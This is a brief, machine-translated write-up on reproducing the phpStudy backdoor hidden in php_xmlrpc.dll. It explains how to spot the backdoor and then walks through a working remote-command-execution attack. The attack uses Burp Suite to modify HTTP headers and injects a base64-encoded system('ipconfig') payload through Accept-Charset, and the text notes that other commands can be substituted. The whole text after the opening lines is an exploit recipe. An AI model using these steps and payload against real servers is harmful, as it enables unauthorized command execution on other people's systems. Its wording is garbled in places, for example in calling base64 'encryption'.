Some time ago phpstudy was found in some versions of the back door, and it was as many broilers up to two years
Back door hidden in the program comes with php of php_xmlrpc.dll module
Version impact: phpstudy2016 and 2018
In H: \ PhpStudy20180211 \ PHPTutorial \ php \ \ ext php-5.2.17 find php_xmlrpc.dll
With notepad ++ open, Ctrl + f search eval
Description This version of phpstudy by the back door
With firefox access the local IP , with bp capture, with ctrl + r to the repeater
Find the Accept-encoding , the deleted space after the comma, the deflate behind the carriage return line, plus the Accept-charset : c3lzdGVtKCdpcGNvbmZpZycpIDs = , then go
(This is the system ( 'ipconfig'); the base64 encryption)
Vulnerabilities recurring success
Plus System ( 'path'); (semicolon in front of spaces)
Security issues can not be underestimated ah